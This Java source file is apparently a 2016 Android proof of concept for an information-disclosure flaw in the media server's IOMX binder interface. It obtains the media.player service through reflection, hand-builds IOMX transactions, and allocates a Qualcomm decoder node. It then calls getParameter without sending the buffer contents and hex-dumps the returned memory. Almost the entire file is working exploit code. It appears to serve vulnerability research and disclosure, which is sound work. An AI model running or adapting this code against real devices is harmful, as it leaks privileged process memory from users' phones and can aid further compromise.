package com.example.forshaw.servicetest;
|
|
import android.content.Context;
|
import android.os.Binder;
|
import android.os.IBinder;
|
import android.os.Parcel;
|
import android.os.ParcelFileDescriptor;
|
import android.os.RemoteException;
|
import android.util.Log;
|
|
import java.io.FileDescriptor;
|
import java.io.FileInputStream;
|
import java.io.FileOutputStream;
|
import java.io.PrintWriter;
|
import java.io.StringWriter;
|
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.Method;
|
import java.nio.ByteBuffer;
|
import java.nio.ByteOrder;
|
import java.nio.IntBuffer;
|
import java.util.Arrays;
|
|
/**
|
* Created by forshaw on 01/02/2016.
|
*/
|
public class OMXInfoDisclosurePoC {
|
static void log(String logString) {
|
Log.e("MyClass", logString);
|
}
|
|
static String getStackTrack() {
|
try { throw new Throwable(); } catch(Throwable t)
|
{
|
StringWriter writer = new StringWriter();
|
PrintWriter pw = new PrintWriter(writer);
|
t.printStackTrace(pw);
|
return writer.toString();
|
}
|
}
|
|
static class MediaPlayerServiceOps {
|
static int CREATE = IBinder.FIRST_CALL_TRANSACTION;
|
static int CREATE_MEDIA_RECORDER = CREATE + 1;
|
static int CREATE_METADATA_RETRIEVER = CREATE_MEDIA_RECORDER + 1;
|
static int GET_OMX = CREATE_METADATA_RETRIEVER + 1;
|
static int MAKE_CRYPTO = GET_OMX + 1;
|
static int MAKE_DRM = MAKE_CRYPTO + 1;
|
static int MAKE_HDCP = MAKE_DRM + 1;
|
static int ADD_BATTERY_DATA = MAKE_HDCP + 1;
|
static int PULL_BATTERY_DATA = ADD_BATTERY_DATA + 1;
|
static int LISTEN_FOR_REMOTE_DISPLAY = PULL_BATTERY_DATA + 1;
|
static int GET_CODEC_LIST = LISTEN_FOR_REMOTE_DISPLAY + 1;
|
}
|
|
static int kMode_Unencrypted = 0;
|
static int kMode_AES_CTR = 1;
|
static int kMode_AES_WV = 2;
|
static int kMode_AES_CBC = 3;
|
|
static class SubSample {
|
int mNumBytesOfClearData;
|
int mNumBytesOfEncryptedData;
|
|
public SubSample(int clearData, int encryptedData) {
|
mNumBytesOfClearData = clearData;
|
mNumBytesOfEncryptedData = encryptedData;
|
}
|
|
public SubSample() {
|
this(0, 0);
|
}
|
}
|
|
static int[] convertBytesToInts(byte[] byteArray) {
|
IntBuffer intBuf =
|
ByteBuffer.wrap(byteArray)
|
.order(ByteOrder.LITTLE_ENDIAN)
|
.asIntBuffer();
|
int[] array = new int[intBuf.remaining()];
|
intBuf.get(array);
|
return array;
|
}
|
|
static void writeRawBytes(Parcel data, byte[] bytes) {
|
int len = bytes.length;
|
if ((len & 3) != 0) {
|
bytes = Arrays.copyOf(bytes, (len + 3) & ~3);
|
}
|
|
for (int i : convertBytesToInts(bytes)) {
|
data.writeInt(i);
|
}
|
}
|
|
static byte[] convertIntToBytes(int i) {
|
ByteBuffer byteBuffer = ByteBuffer.allocate(4);
|
byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
|
byteBuffer.putInt(0, i);
|
byte[] ret = new byte[4];
|
byteBuffer.get(ret);
|
return ret;
|
}
|
|
static String readCString(Parcel data) {
|
StringBuilder builder = new StringBuilder();
|
|
while(data.dataAvail() >= 4) {
|
int len = 0;
|
byte[] bytes = convertIntToBytes(data.readInt());
|
for(len = 0; len < 4; ++len) {
|
if (bytes[len] == 0) {
|
break;
|
}
|
}
|
builder.append(new String(bytes, 0, len));
|
if (len < 4) {
|
break;
|
}
|
}
|
|
return builder.toString();
|
}
|
|
static String readString8(Parcel data) {
|
int length = data.readInt();
|
return new String(readRawBytes(data, length));
|
}
|
|
static void writeCString(Parcel data, String str) {
|
writeRawBytes(data, (str + "\0").getBytes());
|
}
|
|
static byte[] readRawBytes(Parcel data, int length) {
|
int read_len = (length + 3) & ~3;
|
byte[] ret = new byte[length];
|
ByteBuffer byteBuffer = ByteBuffer.allocate(read_len);
|
byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
|
|
for(int i = 0; i < read_len / 4; ++i) {
|
byteBuffer.putInt(data.readInt());
|
}
|
|
byteBuffer.position(0);
|
byteBuffer.get(ret, 0, length);
|
return ret;
|
}
|
|
static String dumpHex(byte[] bytes) {
|
StringBuilder builder = new StringBuilder();
|
|
for(byte b : bytes) {
|
builder.append(String.format("%02X", b & 0xFF));
|
}
|
return builder.toString();
|
}
|
|
static IBinder getService(String service) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
Class c = Class.forName("android.os.ServiceManager");
|
Method m = c.getMethod("getService", String.class);
|
return (IBinder)m.invoke(null, service);
|
}
|
|
static class IOMXObserverStub extends Binder {
|
static final int OBSERVER_ON_MSG = IBinder.FIRST_CALL_TRANSACTION;
|
static final String DESCRIPTOR = "android.hardware.IOMXObserver";
|
|
@Override
|
public boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) throws android.os.RemoteException {
|
log("onTransact IOMXObserver: " + code);
|
switch (code)
|
{
|
case INTERFACE_TRANSACTION:
|
{
|
reply.writeString(DESCRIPTOR);
|
return true;
|
}
|
case OBSERVER_ON_MSG:
|
{
|
data.enforceInterface(DESCRIPTOR);
|
log("In OBSERVER_ON_MSG: " + getStackTrack());
|
reply.writeNoException();
|
return true;
|
}
|
}
|
return super.onTransact(code, data, reply, flags);
|
}
|
}
|
|
static class IOMXProxy {
|
static final int CONNECT = IBinder.FIRST_CALL_TRANSACTION;
|
static final int LIVES_LOCALLY = CONNECT+1;
|
static final int LIST_NODES = LIVES_LOCALLY+1;
|
static final int ALLOCATE_NODE = LIST_NODES+1;
|
static final int FREE_NODE = ALLOCATE_NODE+1;
|
static final int SEND_COMMAND = FREE_NODE+1;
|
static final int GET_PARAMETER = SEND_COMMAND+1;
|
static final int SET_PARAMETER = GET_PARAMETER+1;
|
static final int GET_CONFIG = SET_PARAMETER+1;
|
static final int SET_CONFIG = GET_CONFIG+1;
|
static final int GET_STATE = SET_CONFIG+1;
|
static final int ENABLE_GRAPHIC_BUFFERS = GET_STATE+1;
|
static final int USE_BUFFER = ENABLE_GRAPHIC_BUFFERS+1;
|
static final int USE_GRAPHIC_BUFFER = USE_BUFFER+1;
|
static final int CREATE_INPUT_SURFACE = USE_GRAPHIC_BUFFER+1;
|
static final int CREATE_PERSISTENT_INPUT_SURFACE = CREATE_INPUT_SURFACE+1;
|
static final int SET_INPUT_SURFACE = CREATE_PERSISTENT_INPUT_SURFACE+1;
|
static final int SIGNAL_END_OF_INPUT_STREAM = SET_INPUT_SURFACE+1;
|
static final int STORE_META_DATA_IN_BUFFERS = SIGNAL_END_OF_INPUT_STREAM+1;
|
static final int PREPARE_FOR_ADAPTIVE_PLAYBACK = STORE_META_DATA_IN_BUFFERS+1;
|
static final int ALLOC_BUFFER = PREPARE_FOR_ADAPTIVE_PLAYBACK+1;
|
static final int ALLOC_BUFFER_WITH_BACKUP = ALLOC_BUFFER+1;
|
static final int FREE_BUFFER = ALLOC_BUFFER_WITH_BACKUP+1;
|
static final int FILL_BUFFER = FREE_BUFFER+1;
|
static final int EMPTY_BUFFER = FILL_BUFFER+1;
|
static final int GET_EXTENSION_INDEX = EMPTY_BUFFER+1;
|
static final int OBSERVER_ON_MSG = GET_EXTENSION_INDEX+1;
|
static final int GET_GRAPHIC_BUFFER_USAGE = OBSERVER_ON_MSG+1;
|
static final int SET_INTERNAL_OPTION = GET_GRAPHIC_BUFFER_USAGE+1;
|
static final int UPDATE_GRAPHIC_BUFFER_IN_META = SET_INTERNAL_OPTION+1;
|
static final int CONFIGURE_VIDEO_TUNNEL_MODE = UPDATE_GRAPHIC_BUFFER_IN_META+1;
|
|
static final String DESCRIPTOR = "android.hardware.IOMX";
|
|
private IBinder mBinder;
|
|
public IOMXProxy(IBinder binder) {
|
mBinder = binder;
|
}
|
|
public int allocateNode(String name, IOMXObserverStub observer) throws RemoteException {
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken(DESCRIPTOR);
|
|
writeCString(data, name);
|
data.writeStrongBinder(observer);
|
mBinder.transact(ALLOCATE_NODE, data, reply, 0);
|
|
int err = reply.readInt();
|
log("allocateNode Error: " + Integer.toHexString(err));
|
if (err == 0)
|
return reply.readInt();
|
return -1;
|
}
|
|
public int freeBuffer(int node, int port, int buffer) throws RemoteException {
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken(DESCRIPTOR);
|
data.writeInt(node);
|
data.writeInt(port);
|
data.writeInt(buffer);
|
|
mBinder.transact(FREE_BUFFER, data, reply, 0);
|
|
return reply.readInt();
|
}
|
|
public class NodeInfo {
|
public String[] roles;
|
public String name;
|
|
public NodeInfo(Parcel data) {
|
name = readString8(data);
|
int num_roles = data.readInt();
|
roles = new String[num_roles];
|
for (int i = 0; i < num_roles; ++i) {
|
roles[i] = readString8(data);
|
}
|
}
|
}
|
|
public NodeInfo[] listNodes() throws RemoteException {
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken(DESCRIPTOR);
|
|
mBinder.transact(LIST_NODES, data, reply, 0);
|
int n = reply.readInt();
|
NodeInfo[] nodes = new NodeInfo[n];
|
for (int i = 0; i < n; ++i) {
|
nodes[i] = new NodeInfo(data);
|
}
|
return nodes;
|
}
|
|
public int getParameter(int node, int index, byte[] buffer) throws RemoteException {
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken(DESCRIPTOR);
|
data.writeInt(node);
|
data.writeInt(index);
|
data.writeLong(buffer.length);
|
// Don't write out the actual bytes
|
//writeRawBytes(data, buffer);
|
mBinder.transact(GET_PARAMETER, data, reply, 0);
|
|
int err = reply.readInt();
|
if (err == 0) {
|
byte[] retdata = readRawBytes(reply, buffer.length);
|
for (int i = 0; i < buffer.length; ++i) {
|
buffer[i] = retdata[i];
|
}
|
}
|
return err;
|
}
|
|
public int getConfig(int node, int index, byte[] buffer) throws RemoteException {
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken(DESCRIPTOR);
|
data.writeInt(node);
|
data.writeInt(index);
|
data.writeLong(buffer.length);
|
writeRawBytes(data, buffer);
|
mBinder.transact(GET_CONFIG, data, reply, 0);
|
|
int err = reply.readInt();
|
if (err == 0) {
|
byte[] retdata = readRawBytes(reply, buffer.length);
|
for (int i = 0; i < buffer.length; ++i) {
|
buffer[i] = retdata[i];
|
}
|
}
|
return err;
|
}
|
|
}
|
|
public static void testOMX(Context ctx) throws Throwable {
|
IBinder serviceBinder = getService("media.player");
|
log(serviceBinder.getInterfaceDescriptor());
|
|
Parcel data = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
|
data.writeInterfaceToken("android.media.IMediaPlayerService");
|
serviceBinder.transact(MediaPlayerServiceOps.GET_OMX, data, reply, 0);
|
|
IBinder omx = reply.readStrongBinder();
|
log(omx.getInterfaceDescriptor());
|
IOMXProxy omxproxy = new IOMXProxy(omx);
|
|
IOMXObserverStub observer = new IOMXObserverStub();
|
int node = omxproxy.allocateNode("OMX.qcom.video.decoder.mpeg4", observer);
|
log("Allocate Node: " + node);
|
if (node > 0) {
|
final int OMX_IndexParamPriorityMgmt = 0x01000000+1;
|
byte[] buffer = new byte[64];
|
Arrays.fill(buffer, (byte) 0x7F);
|
|
int result = omxproxy.getParameter(node, OMX_IndexParamPriorityMgmt, buffer);
|
if (result == 0)
|
log("Result: " + dumpHex(buffer));
|
else
|
log("Error getting parameter: " + result);
|
}
|
}
|
}
|